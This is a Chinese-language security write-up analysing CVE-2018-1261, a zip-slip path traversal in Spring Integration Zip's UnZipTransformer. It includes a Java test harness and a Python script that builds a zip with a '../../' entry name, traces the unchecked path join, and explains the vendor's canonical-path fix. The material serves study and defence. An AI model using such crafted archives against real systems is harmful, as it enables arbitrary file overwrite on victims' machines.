不敢说分析,还是太菜了,多学习。
文章来源: 猎户安全实验室
存在漏洞的源码下载地址:https://github.com/spring-projects/spring-integration-extensions/releases/tag/zip.v1.0.0.RELEASE
代码下载两眼相望了好久,第一次弄这些东西,踩了好久的坑,边踩边学习。
用的是IDEA来复现: 终端打开到zip的文件夹,然后./gradlew idea 。直接就能直接用IDEA打开了。
漏洞地址:org/springframework/integration/zip/transformer/UnZipTransformerTests.java
这里的都是官方例子。
仿造官方例子写个测试类。
@Test public void unzipCve() throws IOException, InterruptedException { final Resource resource = this.resourceLoader.getResource("classpath:testzipdata/test1.zip"); final InputStream upZipFile = resource.getInputStream(); UnZipTransformer unZipTransformer = new UnZipTransformer(); unZipTransformer.setWorkDirectory(new File("/Users/yangxiaodi/java/CVE-2018-1261/spring-integration-extensions-zip.v1.0.0.RELEASE/spring-integration-zip/src/test/resources/testzipdata/")); unZipTransformer.setZipResultType(ZipResultType.FILE);//设置类型(FILE, BYTE_ARRAY) unZipTransformer.afterPropertiesSet(); Message<InputStream> message = MessageBuilder.withPayload(upZipFile).build(); unZipTransformer.transform(message);//漏洞入口。 System.out.println("over"); } }
这里的zip解压要用 到../../../z.txt格式的压缩文件,用python脚本生成一个。
import zipfile if __name__ == "__main__": try: binary = b'ddddsss' zipFile = zipfile.ZipFile("test1.zip", "a", zipfile.ZIP_DEFLATED) info = zipfile.ZipInfo("test1.zip") zipFile.writestr("../../dddwwtest.txt", binary) zipFile.close() except IOError as e: raise e
东西都准备妥当了,开始分析漏洞吧。
漏洞入口:
unZipTransformer.transform(message);
接着调用org/springframework/integration/zip/transformer/AbstractZipTransformer.java 下的doTransform()函数。
@Override protected Object doTransform(Message<?> message) throws Exception { Assert.notNull(message, "message must not be null"); final Object payload = message.getPayload(); Assert.notNull(payload, "payload must not be null"); return doZipTransform(message);//往下调用doZipTransform函数 }
在调用org/springframework/integration/zip/transformer/UnZipTransformer.java 下的doZipTransform() 函数。
漏洞就出现在doZipTransform()函数。具体代码位置:
ZipUtil.iterate(inputStream, new ZipEntryCallback() {//漏洞没过滤的地方 @Override public void process(InputStream zipEntryInputStream, ZipEntry zipEntry) throws IOException { final String zipEntryName = zipEntry.getName(); final long zipEntryTime = zipEntry.getTime(); final long zipEntryCompressedSize = zipEntry.getCompressedSize(); final String type = zipEntry.isDirectory() ? "directory" : "file"; if (logger.isInfoEnabled()) { logger.info(String.format("Unpacking Zip Entry - Name: '%s',Time: '%s', " + "Compressed Size: '%s', Type: '%s'", zipEntryName, zipEntryTime, zipEntryCompressedSize, type)); } if (ZipResultType.FILE.equals(zipResultType)) { final File tempDir = new File(workDirectory, message.getHeaders().getId().toString()); tempDir.mkdirs(); //NOSONAR false positive,创建文件夹 final File destinationFile = new File(tempDir, zipEntryName); if (zipEntry.isDirectory()) { destinationFile.mkdirs(); //NOSONAR false positive } else { SpringZipUtils.copy(zipEntryInputStream, destinationFile); uncompressedData.put(zipEntryName, destinationFile); } } else if (ZipResultType.BYTE_ARRAY.equals(zipResultType)) { if (!zipEntry.isDirectory()) { byte[] data = IOUtils.toByteArray(zipEntryInputStream); uncompressedData.put(zipEntryName, data); } } else { throw new IllegalStateException("Unsupported zipResultType " + zipResultType); } }
调用ZipUtil.iterate()函数,然后利用回调函数ZipEntryCallback()去处理解压出来的内容。
这里的final String zipEntryName = zipEntry.getName(); //就是解压出来的文件内容,
在final File destinationFile = new File(tempDir, zipEntryName); //这里没任何过滤就进行文件路径和文件名的拼接。
然后下面两句代码把文件给复制过去。
SpringZipUtils.copy(zipEntryInputStream, destinationFile);
uncompressedData.put(zipEntryName, destinationFile);
这里有个坑,就是../../../z.txt 的文件,不能存在未创建的文件夹路径,例如: ../../zzz/z.txt ,在zzz文件夹不存在的情况下,会报错。
这里来看下他们官方的漏洞修复,增加了一个路径检测函数。官方地址
public File checkPath(final Message<?> message, final String zipEntryName) throws IOException { final File tempDir = new File(workDirectory, message.getHeaders().getId().toString()); tempDir.mkdirs(); //NOSONAR false positive final File destinationFile = new File(tempDir, zipEntryName); /* If we see the relative traversal string of ".." we need to make sure * that the outputdir + name doesn't leave the outputdir. */ if (!destinationFile.getCanonicalPath().startsWith(workDirectory.getCanonicalPath())) { throw new ZipException("The file " + zipEntryName + " is trying to leave the target output directory of " + workDirectory); } return destinationFile; }
主要看这句话:
if (!destinationFile.getCanonicalPath().startsWith(workDirectory.getCanonicalPath()))
如果destinationFile.getCanonicalPath() 也就是当前的全文件路径,例如: /etc/s/../passwd ,会变成/etc/passwd ,
全文件路径中 开头不包含workDirectory.getCanonicalPath() 的路径,就报错。 例如:/etc/s/ ,而workDirectory是定义的路径。
综上就是路径不能往前跳转。
这种路径检测方法还是学到了,本以为会过滤“..” 这样的字符串,直接对比两次的路径也是个好方法